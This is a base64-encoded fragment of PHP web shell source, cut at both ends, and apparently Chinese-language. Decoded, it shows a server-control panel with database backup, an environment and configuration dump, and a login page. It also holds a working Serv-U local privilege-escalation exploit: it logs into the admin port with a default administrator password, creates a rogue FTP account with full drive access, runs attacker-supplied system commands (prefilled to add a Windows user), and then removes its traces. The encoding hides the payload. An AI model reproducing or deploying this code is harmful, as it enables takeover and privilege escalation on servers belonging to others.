nY3NzJz0+MSkpLic8L3RkPjwvdHI+PHRyIG5vd3JhcD48dGQ+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJiYWNrdXB0eXBlIiB2YWx1ZT0ic2VydmVyIiBjaGVja2VkPiCxuLfdyv2+3cv5saO05rXEwre+tjo8L3RkPjx0ZD4nLiR0Yi0+bWFrZWlucHV0KCdwYXRoJywkcGF0aG5hbWUuJy8nLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX015U1FMLnNxbCcsJycsJ3RleHQnLCc1MCcpLic8L3RkPjwvdHI+PHRyIG5vd3JhcD48dGQgY29sc3Bhbj0iMiI+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJiYWNrdXB0eXBlIiB2YWx1ZT0iZG93bmxvYWQiPiDWsb3Tz8LU2LW9sb612CAoysq6z8r9vt3Bv73P0KG1xMr9vt2/4ik8L3RkPjwvdHI+PC90YWJsZT4nKTsNCgkJJHRiLT5tYWtlaGlkZGVuKCdkbycsJ2JhY2t1cG15c3FsJyk7DQoJCSR0Yi0+Zm9ybWZvb3RlcignMCcsJzMwJyk7DQoJfQ0KCSR0Yi0+dGFibGVmb290ZXIoKTsNCglAbXlzcWxfY2xvc2UoKTsNCn0vL2VuZCBzcWwgYmFja3VwDQoNCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJwaHBlbnYiKSB7DQoJJHVzZXIgPSAiIDxhIGhyZWY9XCI/YWN0aW9uPW5vd3VzZXJcIiB0YXJnZXQ9XCJfYmxhbmtcIj7S1MPiY3J1c2i147TLu/HIobWxx7C9+LPM08O7p8P7PC9hPiAiOw0KCSR1cHNpemU9Z2V0X2NmZ192YXIoImZpbGVfdXBsb2FkcyIpID8gZ2V0X2NmZ192YXIoInVwbG9hZF9tYXhfZmlsZXNpemUiKSA6ICKyu9TK0O3Jz7SrIjsNCgkkYWRtaW5tYWlsPShpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pKSA/ICI8YSBocmVmPVwibWFpbHRvOiIuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLiJcIj4iLiRfU0VSVkVSWydTRVJWRVJfQURNSU4nXS4iPC9hPiIgOiAiPGEgaHJlZj1cIm1haWx0bzoiLmdldF9jZmdfdmFyKCJzZW5kbWFpbF9mcm9tIikuIlwiPiIuZ2V0X2NmZ192YXIoInNlbmRtYWlsX2Zyb20iKS4iPC9hPiI7DQoJaWYgKCRkaXNfZnVuYyA9PSAiIikgew0KCQkkZGlzX2Z1bmMgPSAiTm8iOw0KCX1lbHNlIHsNCgkJJGRpc19mdW5jID0gc3RyX3JlcGxhY2UoIiAiLCI8YnI+IiwkZGlzX2Z1bmMpOw0KCQkkZGlzX2Z1bmMgPSBzdHJfcmVwbGFjZSgiLCIsIjxicj4iLCRkaXNfZnVuYyk7DQoJfQ0KCSRwaHBpbmZvPSghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gIlllcyIgOiAiTm8iOw0KCQkkaW5mbyA9IGFycmF5KA0KCQkgICAgMCA9PiBhcnJheSgitbHHsHBocL34s8zTw7unIiwkdXNlciksDQoJCQkxID0+IGFycmF5KCK3/s7xxvey2df3z7XNsyIsUEhQX09TKSwNCgkJCTIgPT4gYXJyYXkoIrf+zvHG98qxvOQiLGRhdGUoIlnE6m3UwmTI1SBoOmk6cyIsdGltZSgpKSksDQoJCQkzID0+IGFycmF5KCK3/s7xxvfT8sP7IiwiPGEgaHJlZj1cImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiI8L2E+IiksDQoJCQk0ID0+IGFycmF5KCK3/s7xxvdJULXY1rciLGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSwNCgkJCTUgPT4gYXJyYXkoIrf+zvHG97LZ1/fPtc2zzsTX1rHgwusiLCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSwNCgkJCTYgPT4gYXJyYXkoIrf+zvHG973i0uvS/cfmIiwkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLA0KCQkJNyA9PiBhcnJheSgiV2Vit/7O8bbLv9oiLCRfU0VSVkVSWydTRVJWRVJfUE9SVCddKSwNCgkJCTggPT4gYXJyYXkoIlBIUNTL0NC3vcq9IixzdHJ0b3VwcGVyKHBocF9zYXBpX25hbWUoKSkpLA0KCQkJOSA9PiBhcnJheSgiUEhQsOaxviIsUEhQX1ZFUlNJT04pLA0KCQkJMTAgPT4gYXJyYXkoItTL0NDT2rCyyKvEo8q9IixnZXRwaHBjZmcoInNhZmVtb2RlIikpLA0KCQkJMTEgPT4gYXJyYXkoIrf+zvHG97ncwO3UsSIsJGFkbWlubWFpbCksDQoJCQkxMiA9PiBhcnJheSgisb7OxLz+wre+tiIsX19GSUxFX18pLA0KICAgICAgICAgICAgMTMgPT4gYXJyYXkoItTK0O3KudPDIFVSTCC08r+qzsS8/iBhbGxvd191cmxfZm9wZW4iLGdldHBocGNmZygiYWxsb3dfdXJsX2ZvcGVuIikpLA0KCQkJMTQgPT4gYXJyYXkoItTK0O22r8ysvNPU2MG0vdO/4iBlbmFibGVfZGwiLGdldHBocGNmZygiZW5hYmxlX2RsIikpLA0KCQkJMTUgPT4gYXJyYXkoIs/Uyr607c7z0MXPoiBkaXNwbGF5X2Vycm9ycyIsZ2V0cGhwY2ZnKCJkaXNwbGF5X2Vycm9ycyIpKSwNCgkJCTE2ID0+IGFycmF5KCLX1LavtqjS5cirvtax5MG/IHJlZ2lzdGVyX2dsb2JhbHMiLGdldHBocGNmZygicmVnaXN0ZXJfZ2xvYmFscyIpKSwNCgkJCTE3ID0+IGFycmF5KCJtYWdpY19xdW90ZXNfZ3BjIixnZXRwaHBjZmcoIm1hZ2ljX3F1b3Rlc19ncGMiKSksDQoJCQkxOCA9PiBhcnJheSgis8zQ8tfutuDUytDtyrnTw8TatObBvyBtZW1vcnlfbGltaXQiLGdldHBocGNmZygibWVtb3J5X2xpbWl0IikpLA0KCQkJMTkgPT4gYXJyYXkoIlBPU1TX7rTz19a92sr9IHBvc3RfbWF4X3NpemUiLGdldHBocGNmZygicG9zdF9tYXhfc2l6ZSIpKSwNCgkJCTIwID0+IGFycmF5KCLUytDt1+6088nPtKvOxLz+IHVwbG9hZF9tYXhfZmlsZXNpemUiLCR1cHNpemUpLA0KCQkJMjEgPT4gYXJyYXkoIrPM0PLX7rOk1MvQ0MqxvOQgbWF4X2V4ZWN1dGlvbl90aW1lIixnZXRwaHBjZmcoIm1heF9leGVjdXRpb25fdGltZSIpLiLD6yIpLA0KCQkJMjIgPT4gYXJyYXkoIrG7vfvTw7XEuq/K/SBkaXNhYmxlX2Z1bmN0aW9ucyIsJGRpc19mdW5jKSwNCgkJCTIzID0+IGFycmF5KCJwaHBpbmZvKCkiLCRwaHBpbmZvKSwNCgkJCTI0ID0+IGFycmF5KCLEv8ewu7nT0L/V0+C/1bzkZGlza2ZyZWVzcGFjZSIsaW50dmFsKGRpc2tmcmVlc3BhY2UoIi4iKSAvICgxMDI0ICogMTAyNCkpLidNYicpLA0KICAgICAgICAgICAgMjUgPT4gYXJyYXkoIs280M60psDtIEdEIExpYnJhcnkiLGdldGZ1bigiaW1hZ2VsaW5lIikpLA0KCQkJMjYgPT4gYXJyYXkoIklNQVC159fT08q8/s+1zbMiLGdldGZ1bigiaW1hcF9jbG9zZSIpKSwNCgkJCTI3ID0+IGFycmF5KCJNeVNRTMr9vt2/4iIsZ2V0ZnVuKCJteXNxbF9jbG9zZSIpKSwNCgkJCTI4ID0+IGFycmF5KCJTeUJhc2XK/b7dv+IiLGdldGZ1bigic3liYXNlX2Nsb3NlIikpLA0KCQkJMjkgPT4gYXJyYXkoIk9yYWNsZcr9vt2/4iIsZ2V0ZnVuKCJvcmFfY2xvc2UiKSksDQoJCQkzMCA9PiBhcnJheSgiT3JhY2xlIDggyv2+3b/iIixnZXRmdW4oIk9DSUxvZ09mZiIpKSwNCgkJCTMxID0+IGFycmF5KCJQUkVMz+DI3dPvt6ggUENSRSIsZ2V0ZnVuKCJwcmVnX21hdGNoIikpLA0KCQkJMzIgPT4gYXJyYXkoIlBERs7EtbXWp7PWIixnZXRmdW4oInBkZl9jbG9zZSIpKSwNCgkJCTMzID0+IGFycmF5KCJQb3N0Z3JlIFNRTMr9vt2/4iIsZ2V0ZnVuKCJwZ19jbG9zZSIpKSwNCgkJCTM0ID0+IGFycmF5KCJTTk1QzfjC57ncwO3QrdLpIixnZXRmdW4oInNubXBnZXQiKSksDQoJCQkzNSA9PiBhcnJheSgi0bnL9c7EvP7Wp7PWKFpsaWIpIixnZXRmdW4oImd6Y2xvc2UiKSksDQoJCQkzNiA9PiBhcnJheSgiWE1MveLO9iIsZ2V0ZnVuKCJ4bWxfc2V0X29iamVjdCIpKSwNCgkJCTM3ID0+IGFycmF5KCJGVFAiLGdldGZ1bigiZnRwX2xvZ2luIikpLA0KCQkJMzggPT4gYXJyYXkoIk9EQkPK/b7dv+LBrL3TIixnZXRmdW4oIm9kYmNfY2xvc2UiKSksDQoJCQkzOSA9PiBhcnJheSgiU2Vzc2lvbtans9YiLGdldGZ1bigic2Vzc2lvbl9zdGFydCIpKSwNCgkJCTQwID0+IGFycmF5KCJTb2NrZXTWp7PWIixnZXRmdW4oImZzb2Nrb3BlbiIpKSwNCgkJKTsgDQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj1cIj9hY3Rpb249cGhwZW52XCIgbWV0aG9kPVwiUE9TVFwiPlxuIjsNCgkkdGItPnRkYm9keSgnPGI+sum/tFBIUMXk1sOyzsr917S/9jwvYj4nLCdsZWZ0JywnMScsJzMwJywnc3R5bGU9InBhZGRpbmctbGVmdDogNXB4OyInKTsNCgkkdGItPnRkYm9keSgnx+vK5MjrxeTWw7LOyv0oyOc6bWFnaWNfcXVvdGVzX2dwYyk6ICcuJHRiLT5tYWtlaW5wdXQoJ3BocHZhcm5hbWUnLCcnLCcnLCd0ZXh0JywnNDAnKS4nICcuJHRiLT5tYWtlaW5wdXQoJycsJ7Lpv7QnLCcnLCdzdWJtaXQnKSwnbGVmdCcsJzInLCczMCcsJ3N0eWxlPSJwYWRkaW5nLWxlZnQ6IDVweDsiJyk7DQoJJHRiLT5tYWtlaGlkZGVuKCdkbycsJ3ZpZXdwaHB2YXInKTsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCSRocCA9IGFycmF5KDA9PiAnt/7O8cb3zNjQ1CcsIDE9PiAnUEhQu/mxvszY0NQnLCAyPT4gJ9fpvP7Wp7PW17S/9icpOw0KCWZvciAoJGE9MDskYTwzOyRhKyspIHsNCgkJJHRiLT50ZGJvZHkoJzxiPicuJGhwWzFdLic8L2I+JywnbGVmdCcsJzEnLCczMCcsJ3N0eWxlPSJwYWRkaW5nLWxlZnQ6IDVweDsiJyk7DQo/Pg0KICA8dHIgY2xhc3M9InNlY29uZGFsdCI+DQogICAgPHRkPg0KICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+DQo8P3BocA0KCQlpZiAoJGE9PTApIHsNCgkJCWZvcigkaT0wOyRpPD0xMjskaSsrKSB7DQoJCQkJZWNobyAiPHRyPjx0ZCB3aWR0aD00MCUgc3R5bGU9XCJwYWRkaW5nLWxlZnQ6IDVweDtcIj4iLiRpbmZvWyRpXVswXS4iPC90ZD48dGQ+Ii4kaW5mb1skaV1bMV0uIjwvdGQ+PC90cj5cbiI7DQoJCQl9DQoJCX0gZWxzZWlmICgkYSA9PSAxKSB7DQoJCQlmb3IgKCRpPTEzOyRpPD0yNDskaSsrKSB7DQoJCQkJZWNobyAiPHRyPjx0ZCB3aWR0aD00MCUgc3R5bGU9XCJwYWRkaW5nLWxlZnQ6IDVweDtcIj4iLiRpbmZvWyRpXVswXS4iPC90ZD48dGQ+Ii4kaW5mb1skaV1bMV0uIjwvdGQ+PC90cj5cbiI7DQoJCQl9DQoJCX0gZWxzZWlmICgkYSA9PSAyKSB7DQoJCQlmb3IgKCRpPTI1OyRpPD00MDskaSsrKSB7DQoJCQkJZWNobyAiPHRyPjx0ZCB3aWR0aD00MCUgc3R5bGU9XCJwYWRkaW5nLWxlZnQ6IDVweDtcIj4iLiRpbmZvWyRpXVswXS4iPC90ZD48dGQ+Ii4kaW5mb1skaV1bMV0uIjwvdGQ+PC90cj5cbiI7DQoJCQl9DQoJCX0NCj8+DQogICAgICA8L3RhYmxlPg0KICAgIDwvdGQ+DQogIDwvdHI+DQo8P3BocA0KCX0vL2Zvcg0KZWNobyAiPC90YWJsZT4iOw0KfS8vZW5kIHBocGVudg0KZWxzZWlmKCRfR0VUWydhY3Rpb24nXSA9PSAiU1VFeHAiKQ0Kew0KICAgIGlmKCRfUE9TVFsnU1VQb3J0J10gIT0gIiIgJiYgJF9QT1NUWydTVVVzZXInXSAhPSAiIiAmJiAkX1BPU1RbJ1NVUGFzcyddICE9ICIiICYmICRfUE9TVFsnU1VDb21tYW5kJ10pDQogICAgew0KICAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9XCI3NjBcIiBib3JkZXI9XCIwXCIgY2VsbHBhZGRpbmc9XCIzXCIgY2VsbHNwYWNpbmc9XCIxXCIgYmdjb2xvcj1cIiNmZmZmZmZcIj48dHIgY2xhc3M9XCJmaXJzdGFsdFwiPjx0ZCBhbGlnbj1cImxlZnRcIj4iOw0KICAgICAgICAkc2VuZGJ1ZiA9ICIiOw0KICAgICAgICAkcmVjdmJ1ZiA9ICIiOw0KICAgICAgICAkZG9tYWluICA9ICItU0VURE9NQUlOXHJcbiIuDQogICAgICAgICAgICAgICAgIi1Eb21haW49aGF4b3JjaXRvc3wwLjAuMC4wfDIxMjF8LTF8MXwwXHJcbiIuDQogICAgICAgICAgICAgICAgIi1UWk9FbmFibGU9MFxyXG4iLg0KICAgICAgICAgICAgICAgICIgVFpPS2V5PVxyXG4iOw0KICAgICAgICAkYWRkdXNlciA9ICItU0VUVVNFUlNFVFVQXHJcbiIuDQogICAgICAgICAgICAgICAgIi1JUD0wLjAuMC4wXHJcbiIuDQogICAgICAgICAgICAgICAgIi1Qb3J0Tm89MjEyMVxyXG4iLg0KICAgICAgICAgICAgICAgICItVXNlcj1XaWxsX0JlXHJcbiIuDQogICAgICAgICAgICAgICAgIi1QYXNzd29yZD1XaWxsX0JlXHJcbiIuDQogICAgICAgICAgICAgICAgIi1Ib21lRGlyPWM6XFxcclxuIi4NCiAgICAgICAgICAgICAgICAiLUxvZ2luTWVzRmlsZT1cclxuIi4NCiAgICAgICAgICAgICAgICAiLURpc2FibGU9MFxyXG4iLg0KICAgICAgICAgICAgICAgICItUmVsUGF0aHM9MVxyXG4iLg0KICAgICAgICAgICAgICAgICItTmVlZFNlY3VyZT0wXHJcbiIuDQogICAgICAgICAgICAgICAgIi1IaWRlSGlkZGVuPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLUFsd2F5c0FsbG93TG9naW49MFxyXG4iLg0KICAgICAgICAgICAgICAgICItQ2hhbmdlUGFzc3dvcmQ9MFxyXG4iLg0KICAgICAgICAgICAgICAgICItUXVvdGFFbmFibGU9MFxyXG4iLg0KICAgICAgICAgICAgICAgICItTWF4VXNlcnNMb2dpblBlcklQPS0xXHJcbiIuDQogICAgICAgICAgICAgICAgIi1TcGVlZExpbWl0VXA9MFxyXG4iLg0KICAgICAgICAgICAgICAgICItU3BlZWRMaW1pdERvd249MFxyXG4iLg0KICAgICAgICAgICAgICAgICItTWF4TnJVc2Vycz0tMVxyXG4iLg0KICAgICAgICAgICAgICAgICItSWRsZVRpbWVPdXQ9NjAwXHJcbiIuDQogICAgICAgICAgICAgICAgIi1TZXNzaW9uVGltZU91dD0tMVxyXG4iLg0KICAgICAgICAgICAgICAgICItRXhwaXJlPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLVJhdGlvVXA9MVxyXG4iLg0KICAgICAgICAgICAgICAgICItUmF0aW9Eb3duPTFcclxuIi4NCiAgICAgICAgICAgICAgICAiLVJhdGlvc0NyZWRpdD0wXHJcbiIuDQogICAgICAgICAgICAgICAgIi1RdW90YUN1cnJlbnQ9MFxyXG4iLg0KICAgICAgICAgICAgICAgICItUXVvdGFNYXhpbXVtPTBcclxuIi4NCiAgICAgICAgICAgICAgICAiLU1haW50ZW5hbmNlPU5vbmVcclxuIi4NCiAgICAgICAgICAgICAgICAiLVBhc3N3b3JkVHlwZT1SZWd1bGFyXHJcbiIuDQogICAgICAgICAgICAgICAgIi1SYXRpb3M9Tm9uZVxyXG4iLg0KICAgICAgICAgICAgICAgICIgQWNjZXNzPWM6XFx8UkVMUFxyXG4iOw0KICAgICAgICAkZGVsZG9tYWluPSItREVMRVRFRE9NQUlOXHJcbiIuDQogICAgICAgICAgICAgICAgICAgICAiLUlQPTAuMC4wLjBcclxuIi4NCiAgICAgICAgICAgICAgICAgICAgICIgUG9ydE5vPTIxMjFcclxuIjsNCiAgICAgICAgJHNvY2sgPSBmc29ja29wZW4oIjEyNy4wLjAuMSIsICRfUE9TVFsiU1VQb3J0Il0sICYkZXJybm8sICYkZXJyc3RyLCAxMCk7DQogICAgICAgICRyZWN2YnVmID0gZmdldHMoJHNvY2ssIDEwMjQpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+UmVjdjogJHJlY3ZidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgICRzZW5kYnVmID0gIlVTRVIgIi4kX1BPU1RbIlNVVXNlciJdLiJcclxuIjsNCiAgICAgICAgZnB1dHMoJHNvY2ssICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9Ymx1ZT5TZW5kOiAkc2VuZGJ1ZjwvZm9udD48YnI+IjsNCiAgICAgICAgJHJlY3ZidWYgPSBmZ2V0cygkc29jaywgMTAyNCk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5SZWN2OiAkcmVjdmJ1ZjwvZm9udD48YnI+IjsNCiAgICAgICAgJHNlbmRidWYgPSAiUEFTUyAiLiRfUE9TVFsiU1VQYXNzIl0uIlxyXG4iOw0KICAgICAgICBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1ibHVlPlNlbmQ6ICRzZW5kYnVmPC9mb250Pjxicj4iOw0KICAgICAgICAkcmVjdmJ1ZiA9IGZnZXRzKCRzb2NrLCAxMDI0KTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPlJlY3Y6ICRyZWN2YnVmPC9mb250Pjxicj4iOw0KICAgICAgICAkc2VuZGJ1ZiA9ICJTSVRFIE1BSU5URU5BTkNFXHJcbiI7DQogICAgICAgIGZwdXRzKCRzb2NrLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWJsdWU+U2VuZDogJHNlbmRidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgICRyZWN2YnVmID0gZmdldHMoJHNvY2ssIDEwMjQpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+UmVjdjogJHJlY3ZidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgICRzZW5kYnVmID0gJGRvbWFpbjsNCiAgICAgICAgZnB1dHMoJHNvY2ssICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9Ymx1ZT5TZW5kOiAkc2VuZGJ1ZjwvZm9udD48YnI+IjsNCiAgICAgICAgJHJlY3ZidWYgPSBmZ2V0cygkc29jaywgMTAyNCk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5SZWN2OiAkcmVjdmJ1ZjwvZm9udD48YnI+IjsNCiAgICAgICAgJHNlbmRidWYgPSAkYWRkdXNlcjsNCiAgICAgICAgZnB1dHMoJHNvY2ssICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9Ymx1ZT5TZW5kOiAkc2VuZGJ1ZjwvZm9udD48YnI+IjsNCiAgICAgICAgJHJlY3ZidWYgPSBmZ2V0cygkc29jaywgMTAyNCk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5SZWN2OiAkcmVjdmJ1ZjwvZm9udD48YnI+IjsNCiAgICAgICAgZWNobyAiKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKjxicj4iOw0KICAgICAgICBlY2hvICJTdGFydGluZyBFeHBsb2l0IC4uLjxicj4iOw0KICAgICAgICBlY2hvICIqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqPGJyPiI7DQogICAgICAgICRleHAgPSBmc29ja29wZW4oIjEyNy4wLjAuMSIsICIyMTIxIiwgJiRlcnJubywgJiRlcnJzdHIsIDEwKTsNCiAgICAgICAgJHJlY3ZidWYgPSBmZ2V0cygkZXhwLCAxMDI0KTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPlJlY3Y6ICRyZWN2YnVmPC9mb250Pjxicj4iOw0KICAgICAgICAkc2VuZGJ1ZiA9ICJVU0VSIFdpbGxfQmVcclxuIjsNCiAgICAgICAgZnB1dHMoJGV4cCwgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1ibHVlPlNlbmQ6ICRzZW5kYnVmPC9mb250Pjxicj4iOw0KICAgICAgICAkcmVjdmJ1ZiA9IGZnZXRzKCRleHAsIDEwMjQpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+UmVjdjogJHJlY3ZidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgICRzZW5kYnVmID0gIlBBU1MgV2lsbF9CZVxyXG4iOw0KICAgICAgICBmcHV0cygkZXhwLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWJsdWU+U2VuZDogJHNlbmRidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgICRyZWN2YnVmID0gZmdldHMoJGV4cCwgMTAyNCk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5SZWN2OiAkcmVjdmJ1ZjwvZm9udD48YnI+IjsNCiAgICAgICAgJHNlbmRidWYgPSAic2l0ZSBleGVjICIuJF9QT1NUWyJTVUNvbW1hbmQiXS4iXHJcbiI7DQogICAgICAgIGZwdXRzKCRleHAsICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCiAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9Ymx1ZT5TZW5kOiBzaXRlIGV4ZWM8L2ZvbnQ+IDxmb250IGNvbG9yPWdyZWVuPiIuJF9QT1NUWyJTVUNvbW1hbmQiXS4iPC9mb250Pjxicj4iOw0KICAgICAgICAkcmVjdmJ1ZiA9IGZnZXRzKCRleHAsIDEwMjQpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+UmVjdjogJHJlY3ZidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgIGVjaG8gIioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio8YnI+IjsNCiAgICAgICAgZWNobyAiU3RhcnRpbmcgRGVsZXRlIERvbWFpbiAuLi48YnI+IjsNCiAgICAgICAgZWNobyAiKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKjxicj4iOw0KICAgICAgICAkc2VuZGJ1ZiA9ICRkZWxkb21haW47DQogICAgICAgIGZwdXRzKCRzb2NrLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQogICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWJsdWU+U2VuZDogJHNlbmRidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgICRyZWN2YnVmID0gZmdldHMoJHNvY2ssIDEwMjQpOw0KICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+UmVjdjogJHJlY3ZidWY8L2ZvbnQ+PGJyPiI7DQogICAgICAgIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgIGZjbG9zZSgkc29jayk7DQogICAgICAgIGZjbG9zZSgkZXhwKTsNCiAgICB9DQo/Pg0KPHRhYmxlIHdpZHRoPSI3NjAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBiZ2NvbG9yPSIjZmZmZmZmIj4NCiAgPHRyIGNsYXNzPSJmaXJzdGFsdCI+DQogICAgPHRkIGFsaWduPSJjZW50ZXIiPs2ouf1TZXJ2LVUgsb612LncwO3UsdXKusXWtNDQw/zB7jwvdGQ+DQogIDwvdHI+DQogIDxmb3JtIGFjdGlvbj0iP2FjdGlvbj1TVUV4cCIgbWV0aG9kPSJQT1NUIj4NCiAgPHRyIGNsYXNzPSJzZWNvbmRhbHQiPg0KICAgIDx0ZCBhbGlnbj0iY2VudGVyIj5Mb2NhbFBvcnQ6DQogICAgICA8aW5wdXQgbmFtZT0iU1VQb3J0IiB0eXBlPSJ0ZXh0IiBjbGFzcz0iSU5QVVQiIGlkPSJTVVBvcnQiIHZhbHVlPSI0Mzk1OCIgc2l6ZT0iNyI+ICAgICAgoaENCiAgICAgIExvY2FsVXNlcjoNCiAgICAgIDxpbnB1dCBuYW1lPSJTVVVzZXIiIHR5cGU9InRleHQiIGNsYXNzPSJJTlBVVCIgaWQ9IlNVVXNlciIgdmFsdWU9IkxvY2FsQWRtaW5pc3RyYXRvciI+ICAgICAgIKGhTG9jYWxQYXNzOg0KICAgICAgPGlucHV0IG5hbWU9IlNVUGFzcyIgdHlwZT0idGV4dCIgY2xhc3M9IklOUFVUIiBpZD0iU1VQYXNzIiB2YWx1ZT0iI2xAJGFrIy5sazswQFAiPg0KICAgICAgPGJyPg0KICAgICAgQ29tbWFuZKGhOg0KICAgICAgPGlucHV0IG5hbWU9IlNVQ29tbWFuZCIgdHlwZT0idGV4dCIgY2xhc3M9IklOUFVUIiBpZD0iU1VDb21tYW5kIiB2YWx1ZT0ibmV0IHVzZXIgV2lsbF9CZSBoZWloZWkgL2FkZCIgc2l6ZT0iNTAiPjwvdGQ+DQogIDwvdHI+DQogIDx0ciBjbGFzcz0ic2Vjb25kYWx0Ij4NCiAgICA8dGQgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9IlN1Ym1pdCIgdHlwZT0ic3VibWl0IiBjbGFzcz0iaW5wdXQiIGlkPSJTdWJtaXQiIHZhbHVlPSLWtNDQIj6hoQ0KICAgICAgPGlucHV0IG5hbWU9IlN1Ym1pdCIgdHlwZT0icmVzZXQiIGNsYXNzPSJJTlBVVCIgdmFsdWU9ItbY1sMiPjwvdGQ+DQogIDwvdHI+ICANCiAgPC9mb3JtPg0KPC90YWJsZT4NCjw/cGhwDQp9DQo/Pg0KPGhyIHdpZHRoPSI3NzUiIG5vc2hhZGU+DQo8dGFibGUgd2lkdGg9Ijc3NSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCI+DQogIDx0cj4NCiAgICA8dGQ+yfHD2FBIULT4xfrBv7nSwu2zrLy2sOYuPC90ZD4NCiAgICA8dGQgYWxpZ249InJpZ2h0Ij48P3BocA0KCWRlYnVnaW5mbygpOw0KCW9iX2VuZF9mbHVzaCgpOwkNCgk/PjwvdGQ+DQogIDwvdHI+DQo8L3RhYmxlPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwDQoNCi8qPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQq6r8r9v+INCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSovDQoNCgkvLyC1x8K9yOu/2g0KCWZ1bmN0aW9uIGxvZ2lucGFnZSgpIHsNCj8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KaW5wdXQge2ZvbnQtZmFtaWx5OiAiVmVyZGFuYSI7Zm9udC1zaXplOiAiMTFweCI7QkFDS0dST1VORC1DT0xPUjogIiNGRkZGRkYiO2hlaWdodDogIjE4cHgiO2JvcmRlcjogIjFweCBzb2xpZCAjNjY2NjY2Ijt9DQo8L3N0eWxlPg0KPHRhYmxlIHdpZHRoPSI0MTYiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPg0KICA8dHI+IA0KICAgIDx0ZCBoZWlnaHQ9Ijc1IiBhbGlnbj0iY2VudGVyIj4NCjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDE1cHg7IGZvbnQtZmFtaWx5OiBWZXJkYW5hOyBjb2xvcjpmZTAwMDAgIj48YnI+PGJyPs7ew/uzrLy2tPgoxfrBv7nSwu0pUEhQxL7C7Txicj48YnI+PG